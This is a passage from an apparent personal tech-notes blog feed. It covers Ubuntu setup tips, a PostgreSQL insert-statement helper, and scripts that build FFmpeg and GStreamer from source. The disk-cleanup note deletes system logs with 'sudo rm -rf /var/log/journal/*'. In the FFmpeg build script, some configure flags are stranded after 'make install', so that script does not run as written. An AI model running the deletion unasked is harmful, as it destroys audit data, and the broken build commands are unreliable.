<span class="k">RETURN</span> <span class="n">format</span><span class="p">(</span><span class="s1">'INSERT INTO %s (%s) VALUES (%s)'</span><span class="p">,</span> <span class="err">$</span><span class="mi">1</span><span class="p">,</span> <span class="n">array_to_string</span><span class="p">(</span><span class="n">_columns</span><span class="p">,</span> <span class="s1">','</span><span class="p">),</span> <span class="n">array_to_string</span><span class="p">(</span><span class="n">_values</span><span class="p">,</span> <span class="s1">','</span><span class="p">));</span>
<span class="k">END</span><span class="p">;</span>
<span class="err">$$</span><span class="p">;</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">mytable</span><span class="p">(</span><span class="n">a</span> <span class="nb">int</span><span class="p">,</span> <span class="n">b</span> <span class="nb">int</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">mytable</span> <span class="k">VALUES</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">999</span><span class="p">);</span>
<span class="k">SELECT</span> <span class="n">create_insert_statement</span><span class="p">(</span><span class="n">tableoid</span><span class="p">,</span> <span class="n">mytable</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">mytable</span><span class="p">;</span>
<span class="c1">-- returns</span>
<span class="c1">-- create_insert_statement </span>
<span class="c1">-------------------------------------------------</span>
<span class="c1">-- INSERT INTO mytable (a,b) VALUES ('0','-999')</span>
<span class="c1">--(1 row)</span>
</code></pre></div></div>
Python virtual env on Ubuntu2021-07-28T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/28/python-virtual-env-on-ubuntu<h3 id="python-3">Python 3</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install </span>python3-venv
<span class="nb">cd</span> <project_folder>
python3 <span class="nt">-m</span> venv venv
<span class="nb">source </span>venv/bin/activate
</code></pre></div></div>
<h3 id="python-virtual-env-with-pycharm">Python virtual env with pycharm</h3>
<ul>
<li>From existing virtual env that created as above</li>
</ul>
<p><img src="https://i.imgur.com/vdqMpr5.png" alt="" /></p>
<p><img src="https://i.imgur.com/u9fPYtQ.png" alt="" /></p>
<ul>
<li>Create new virtual env</li>
</ul>
<p><img src="https://i.imgur.com/bwgFimq.png" alt="" /></p>
<p><img src="https://i.imgur.com/qx52sLd.png" alt="" /></p>
<ul>
<li>Install new package in virtual env</li>
</ul>
<p><img src="https://i.imgur.com/flNZfBr.png" alt="" /></p>
<h3 id="issues">Issues</h3>
<ul>
<li>error: invalid command ‘bdist_wheel’ (https://stackoverflow.com/a/44862371)</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Had to <span class="nb">install </span>the wheel package. Everything was up to <span class="nb">date </span>but still giving the error.
pip <span class="nb">install </span>wheel
<span class="k">then
</span>python setup.py bdist_wheel
</code></pre></div></div>
InteliJ on Ubuntu2021-07-28T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/28/intelij-on-ubuntu<h3 id="download">Download</h3>
<ul>
<li>https://www.jetbrains.com/idea/download/#section=linux</li>
</ul>
<p><img src="https://i.imgur.com/xtVPKsQ.png" alt="" /></p>
<ul>
<li>Extract</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">tar</span> <span class="nt">-xzvf</span> ideaIC-2021.1.3.tar.gz
</code></pre></div></div>
<ul>
<li>Create intellij.desktop file</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create file:</span>
<span class="nb">sudo </span>vim /usr/share/applications/intellij.desktop
<span class="c"># add the following</span>
<span class="o">[</span>Desktop Entry]
<span class="nv">Version</span><span class="o">=</span>2021.1.3
<span class="nv">Type</span><span class="o">=</span>Application
<span class="nv">Terminal</span><span class="o">=</span><span class="nb">false
</span><span class="nv">Name</span><span class="o">=</span>IntelliJ
<span class="nv">Icon</span><span class="o">=</span><YOUR_PATH>/ideaIC-2021.1.3/idea-IC-211.7628.21/bin/idea.png
Name[en_US]<span class="o">=</span>IntelliJ
Icon[en_US]<span class="o">=</span><YOUR_PATH>/ideaIC-2021.1.3/idea-IC-211.7628.21/bin/idea.png
<span class="nv">Exec</span><span class="o">=</span><YOUR_PATH>/ideaIC-2021.1.3/idea-IC-211.7628.21/bin/idea.sh
<span class="c"># mod permissions</span>
<span class="nb">sudo chmod </span>644 /usr/share/applications/intellij.desktop
<span class="nb">sudo chown </span>root:root /usr/share/applications/intellij.desktop
</code></pre></div></div>
Ubuntu disk usage cleanup2021-07-27T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/27/ubuntu-disk-usage-cleanup<h3 id="ref">Ref:</h3>
<ul>
<li>https://unix.stackexchange.com/questions/130786/can-i-remove-files-in-var-log-journal-and-var-cache-abrt-di-usr</li>
<li>https://askubuntu.com/questions/65549/var-cache-apt-archives-occupying-huge-space</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get clean
<span class="nb">sudo rm</span> <span class="nt">-rf</span> /var/log/journal/<span class="k">*</span>
</code></pre></div></div>
Ffmpeg custom build (shared) on Ubuntu2021-07-27T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/27/ffmpeg-custom-build-on-ubuntu<h3 id="ref">Ref</h3>
<ul>
<li><a href="https://memto.github.io/linux/program/tooltips/2021/07/27/ffmpeg-custom-build-static-on-ubuntu/">Ffmpeg custom build (static) on Ubuntu</a></li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">FF_SOURCES</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_sources
<span class="nb">export </span><span class="nv">FF_BUILD</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_build
<span class="nb">export </span><span class="nv">FF_INSTALL</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_install_shared
<span class="nb">export </span><span class="nv">NUM_CORES</span><span class="o">=</span>8
</code></pre></div></div>
<h2 id="shared-build">SHARED BUILD</h2>
<ul>
<li>https://stackoverflow.com/questions/32785279/ffmpeg-doesnt-compile-with-shared-libraries</li>
</ul>
<h4 id="-video">=== VIDEO</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget <span class="nt">-nc</span> https://www.nasm.us/pub/nasm/releasebuilds/2.15.05/nasm-2.15.05.tar.bz2 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xjvf nasm-2.15.05.tar.bz2 <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>nasm-2.15.05 <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> x264 pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://code.videolan.org/videolan/x264.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>x264 <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
sudo </span>apt-get <span class="nb">install </span>libnuma-dev <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> x265_git pull 2> /dev/null <span class="o">||</span> git clone https://bitbucket.org/multicoreware/x265_git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>x265_git <span class="o">&&</span> git clean <span class="nt">-dxf</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>build/linux <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
cmake <span class="nt">-G</span> <span class="s2">"Unix Makefiles"</span> <span class="nt">-DCMAKE_INSTALL_PREFIX</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> ../../source <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> libvpx pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://chromium.googlesource.com/webm/libvpx.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>libvpx <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="nt">--disable-examples</span> <span class="nt">--disable-unit-tests</span> <span class="nt">--enable-vp9-highbitdepth</span> <span class="nt">--as</span><span class="o">=</span>yasm <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install</span>
</code></pre></div></div>
<h4 id="-audio">=== AUDIO</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> fdk-aac pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://github.com/mstorsjo/fdk-aac <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>fdk-aac <span class="o">&&</span> <span class="se">\</span>
autoreconf <span class="nt">-fiv</span> <span class="o">&&</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget <span class="nt">-nc</span> https://downloads.sourceforge.net/project/lame/lame/3.100/lame-3.100.tar.gz <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xzvf lame-3.100.tar.gz <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>lame-3.100 <span class="o">&&</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="nt">--enable-nasm</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> opus pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://github.com/xiph/opus.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>opus <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="o">&&</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install</span>
</code></pre></div></div>
<h4 id="-ffmpeg-source-package-vs-git-httpsstackoverflowcoma36904949">=== FFMPEG (Source package vs git: https://stackoverflow.com/a/36904949)</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git clone https://git.ffmpeg.org/ffmpeg.git <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"git existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>ffmpeg <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig"</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--extra-cflags</span><span class="o">=</span><span class="s2">"-I</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/include"</span> <span class="se">\</span>
<span class="nt">--extra-ldflags</span><span class="o">=</span><span class="s2">"-L</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib"</span> <span class="se">\</span>
<span class="nt">--extra-libs</span><span class="o">=</span><span class="s2">"-lpthread -lm"</span> <span class="se">\</span>
<span class="nt">--ld</span><span class="o">=</span><span class="s2">"g++"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="se">\</span>
<span class="nt">--enable-gpl</span> <span class="se">\</span>
<span class="nt">--enable-gnutls</span> <span class="se">\</span>
<span class="nt">--enable-libfreetype</span> <span class="se">\</span>
<span class="nt">--enable-nonfree</span> <span class="se">\</span>
<span class="nt">--enable-libx264</span> <span class="se">\</span>
<span class="nt">--enable-libx265</span> <span class="se">\</span>
<span class="nt">--enable-libvpx</span> <span class="se">\</span>
<span class="o">&&</span> <span class="nb">echo</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install</span>
<span class="nt">--enable-libass</span> <span class="se">\</span>
<span class="nt">--enable-libfdk-aac</span> <span class="se">\</span>
<span class="nt">--enable-libmp3lame</span> <span class="se">\</span>
<span class="nt">--enable-libopus</span> <span class="se">\</span>
<span class="nt">--enable-libvorbis</span> <span class="se">\</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget <span class="nt">-nc</span> https://ffmpeg.org/releases/ffmpeg-snapshot.tar.bz2 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xjvf ffmpeg-snapshot.tar.bz2 <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>ffmpeg <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig"</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--extra-cflags</span><span class="o">=</span><span class="s2">"-I</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/include"</span> <span class="se">\</span>
<span class="nt">--extra-ldflags</span><span class="o">=</span><span class="s2">"-L</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib"</span> <span class="se">\</span>
<span class="nt">--extra-libs</span><span class="o">=</span><span class="s2">"-lpthread -lm"</span> <span class="se">\</span>
<span class="nt">--ld</span><span class="o">=</span><span class="s2">"g++"</span> <span class="se">\</span>
<span class="nt">--enable-shared</span> <span class="se">\</span>
<span class="nt">--enable-gpl</span> <span class="se">\</span>
<span class="nt">--enable-gnutls</span> <span class="se">\</span>
<span class="nt">--enable-libfreetype</span> <span class="se">\</span>
<span class="nt">--enable-nonfree</span> <span class="se">\</span>
<span class="nt">--enable-libx264</span> <span class="se">\</span>
<span class="nt">--enable-libx265</span> <span class="se">\</span>
<span class="nt">--enable-libvpx</span> <span class="se">\</span>
<span class="o">&&</span> <span class="nb">echo</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install</span>
</code></pre></div></div>
<h4 id="examples">Examples</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span>/ffmpeg/doc/examples
make examples
</code></pre></div></div>
<h4 id="issues">Issues:</h4>
<ul>
<li>
<p>All configure options come from: ${FF_SOURCES}/ffmpeg/configure</p>
</li>
<li>
<p>If any configure failed: check config.log: ${FF_SOURCES}/ffmpeg/ffbuild/config.log</p>
</li>
<li>
<p>ERROR: gnutls not found using pkg-config</p>
</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://askubuntu.com/questions/1252997/unable-to-compile-ffmpeg-on-ubuntu-20-04
<span class="o">></span> <span class="nb">sudo </span>apt-get <span class="nb">install </span>libunistring-dev
</code></pre></div></div>
<ul>
<li>[libswresample vs. libavresample]</li>
</ul>
<p>http://ffmpeg.org/pipermail/ffmpeg-devel/2012-April/123746.html</p>
Build gstreamer with custom Ffmpeg on Ubuntu2021-07-27T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/27/build-gstreamer-with-custom-ffmpeg-on-ubuntu<h4 id="gstreamer-source-git">gstreamer source git</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://gitlab.freedesktop.org/gstreamer/gstreamer
https://gitlab.freedesktop.org/gstreamer/gst-plugins-base
https://gitlab.freedesktop.org/gstreamer/gst-plugins-good
https://gitlab.freedesktop.org/gstreamer/gst-plugins-ugly
https://gitlab.freedesktop.org/gstreamer/gst-plugins-bad
https://gitlab.freedesktop.org/gstreamer/gst-rtsp-server
</code></pre></div></div>
<h4 id="build-ffmpeg-shared">Build Ffmpeg (shared)</h4>
<ul>
<li><a href="https://memto.github.io/linux/program/tooltips/2021/07/27/ffmpeg-custom-build-on-ubuntu/">Ffmpeg custom build (shared) on ubuntu</a></li>
</ul>
<h4 id="build-gstreamer-with-custom-fffmpeg-build">Build Gstreamer with custom Fffmpeg build</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">FF_INSTALL</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_install_shared
<span class="nb">export </span><span class="nv">GS_SOURCES</span><span class="o">=</span>/mnt/data/opensource/gstreamer/gstreamer_sources
<span class="nb">export </span><span class="nv">GS_INSTALL</span><span class="o">=</span>/mnt/data/opensource/gstreamer/gstreamer_install
<span class="nb">export </span><span class="nv">NUM_CORES</span><span class="o">=</span>8
<span class="nb">export </span><span class="nv">GS_VER</span><span class="o">=</span>1.14.5
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">GS_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git clone https://gitlab.freedesktop.org/gstreamer/gstreamer <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>gstreamer <span class="o">&&</span> <span class="se">\</span>
git checkout 1.14.5 <span class="nt">-b</span> 1.14.5 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"branch existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
./autogen.sh <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--disable-gtk-doc</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">GS_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git clone https://gitlab.freedesktop.org/gstreamer/gst-plugins-base <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"git existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>gst-plugins-base <span class="o">&&</span> <span class="se">\</span>
git checkout 1.14.5 <span class="nt">-b</span> 1.14.5 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"branch existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nb">export </span><span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="nv">$PKG_CONFIG_PATH</span><span class="s2">"</span> <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--disable-gtk-doc</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">GS_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git clone https://gitlab.freedesktop.org/gstreamer/gst-plugins-good <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"git existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>gst-plugins-good <span class="o">&&</span> <span class="se">\</span>
git checkout 1.14.5 <span class="nt">-b</span> 1.14.5 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"branch existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nb">export </span><span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="nv">$PKG_CONFIG_PATH</span><span class="s2">"</span> <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--disable-gtk-doc</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">GS_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> gst-plugins-ugly pull 2> /dev/null <span class="o">||</span> git clone https://gitlab.freedesktop.org/gstreamer/gst-plugins-ugly <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"git existed"</span> <span class="o">&&</span> <span class="se">\</span>
